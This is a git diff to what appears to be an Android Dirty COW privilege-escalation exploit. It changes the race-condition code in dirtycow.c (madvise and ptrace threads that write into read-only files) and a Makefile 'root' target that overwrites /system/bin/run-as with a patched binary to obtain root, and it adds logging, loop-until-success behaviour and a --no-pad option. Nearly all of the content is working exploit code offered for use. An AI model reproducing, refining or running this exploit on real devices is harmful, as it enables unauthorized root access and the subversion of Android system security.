diff --git a/Android.mk b/Android.mk index c5dd118..e1372bd 100644 --- a/Android.mk +++ b/Android.mk @@ -15,7 +15,6 @@ include $(BUILD_EXECUTABLE) include $(CLEAR_VARS) LOCAL_MODULE := run-as LOCAL_SRC_FILES := \ - dirtycow.c \ run-as.c LOCAL_CFLAGS += -DDEBUG diff --git a/Makefile b/Makefile index d350ddf..bf55933 100644 --- a/Makefile +++ b/Makefile @@ -23,7 +23,8 @@ test: push root: push adb shell 'chmod 777 /data/local/tmp/dcow' adb push libs/$(ARCH)/run-as /data/local/tmp/run-as - adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as' + adb shell 'cat /system/bin/run-as > /data/local/tmp/run-as-original' + adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as --no-pad' clean: rm -rf libs diff --git a/dirtycow.c b/dirtycow.c index e879091..6cbb2f4 100644 --- a/dirtycow.c +++ b/dirtycow.c @@ -41,6 +41,7 @@ struct mem_arg { static void *checkThread(void *arg) { struct mem_arg *mem_arg; mem_arg = (struct mem_arg *)arg; + LOGV("[*] check thread starts, address %p, size %zd", mem_arg->offset, mem_arg->patch_size); struct stat st; int i; char * newdata = malloc(mem_arg->patch_size); @@ -62,10 +63,12 @@ static void *checkThread(void *arg) { if (memcmpret == 0) { mem_arg->stop = 1; mem_arg->success = 1; + LOGV("[*] check thread stops, patch successful, iterations %d", i); goto cleanup; } usleep(100 * 1000); } + LOGV("[*] check thread stops, timeout, iterations %d", i); cleanup: if (newdata) { @@ -80,19 +83,20 @@ static void *madviseThread(void *arg) struct mem_arg *mem_arg; size_t size; void *addr; - int i, c = 0; + int i = 0, c = 0; mem_arg = (struct mem_arg *)arg; size = mem_arg->patch_size; addr = (void *)(mem_arg->offset); - LOGV("[*] madvise = %p %zd", addr, size); + LOGV("[*] madvise thread starts, address %p, size %zd", addr, size); - for(i = 0; i < LOOP && !mem_arg->stop; i++) { + while(!mem_arg->stop) { c += madvise(addr, size, MADV_DONTNEED); + i++; } - LOGV("[*] madvise = %d %d", c, i); + LOGV("[*] madvise thread stops, return code sum %d, iterations %d", c, i); mem_arg->stop = 1; return 0; } @@ -107,10 +111,12 @@ static int ptrace_memcpy(pid_t pid, void *dest, const void *src, size_t n) s = src; while (n >= sizeof(long)) { - memcpy(&value, s, sizeof(value)); - if (ptrace(PTRACE_POKETEXT, pid, d, value) == -1) { - warn("ptrace(PTRACE_POKETEXT)"); - return -1; + if (*((long *) s) != *((long *) d)) { + memcpy(&value, s, sizeof(value)); + if (ptrace(PTRACE_POKETEXT, pid, d, value) == -1) { + warn("ptrace(PTRACE_POKETEXT)"); + return -1; + } } n -= sizeof(long); @@ -143,12 +149,15 @@ static void *ptraceThread(void *arg) struct mem_arg *mem_arg; mem_arg = (struct mem_arg *)arg; - int i, c; - for (i = 0; i < LOOP && !mem_arg->stop; i++) { - c = ptrace_memcpy(pid, mem_arg->offset, mem_arg->patch, mem_arg->patch_size); + LOGV("[*] ptrace thread starts, address %p, size %zd", mem_arg->offset, mem_arg->patch_size); + + int i = 0, c = 0; + while (!mem_arg->stop) { + c += ptrace_memcpy(pid, mem_arg->offset, mem_arg->patch, mem_arg->patch_size); + i++; } - LOGV("[*] ptrace %d %i", c, i); + LOGV("[*] ptrace thread stops, return code sum %d, iterations %i", c, i); mem_arg->stop = 1; return NULL; @@ -216,6 +225,8 @@ static void exploit(struct mem_arg *mem_arg) pthread_create(&pth1, NULL, madviseThread, mem_arg); ptrace(PTRACE_TRACEME); kill(getpid(),SIGSTOP); + // we're done, tell madviseThread to stop and wait for it + mem_arg->stop = 1; pthread_join(pth1, NULL); } } else { @@ -228,13 +239,18 @@ static void exploit(struct mem_arg *mem_arg) pthread_join(pth2, NULL); } - LOGV("[*] exploited %d %p=%lx", pid, (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset); + LOGV("[*] finished pid=%d sees %p=%lx", pid, (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset); } int dcow(int argc, const char * argv[]) { - if (argc < 2) { - LOGV("usage %s /data/local/tmp/default.prop /default.prop", argv[0]); + if (argc < 2 || argc > 4) { + LOGV("Usage %s INFILE OUTFILE [--no-pad]", argv[0]); + LOGV(" INFILE: file to read from, e.g., /data/local/tmp/default.prop") + LOGV(" OUTFILE: file to write to, e.g., /default.prop") + LOGV(" --no-pad: If INFILE is smaller than OUTFILE, overwrite the") + LOGV(" beginning of OUTFILE only, do not fill the remainder with") + LOGV(" zeros (option must be given last)") return 0; } @@ -273,10 +289,15 @@ int dcow(int argc, const char * argv[]) size_t size = st2.st_size; if (st2.st_size != st.st_size) { - LOGV("warning: new file size (%lld) and destination file size (%lld) differ\n", (unsigned long long)st2.st_size, (unsigned long long)st.st_size); + LOGV("warning: source file size (%lld) and destination file size (%lld) differ", (unsigned long long)st2.st_size, (unsigned long long)st.st_size); if (st2.st_size > st.st_size) { - LOGV("corruption?\n"); - } else { + LOGV(" corruption?\n"); + } + else if (argc > 3 && strncmp(argv[3], "--no-pad", 8) == 0) { + LOGV(" will overwrite first %lld bytes of destination only\n", (unsigned long long)size); + } + else { + LOGV(" will append %lld zero bytes to source\n", (unsigned long long)(st.st_size - st2.st_size)); size = st.st_size; } } diff --git a/run-as.c b/run-as.c index cb59ab2..cfc0aef 100644 --- a/run-as.c +++ b/run-as.c @@ -22,8 +22,6 @@ char __aeabi_unwind_cpp_pr0[0]; typedef int getcon_t(char ** con); typedef int setcon_t(const char* con); -extern int dcow(int argc, const char *argv[]); - int main(int argc, const char **argv) { LOGV("uid %s %d", argv[0], getuid());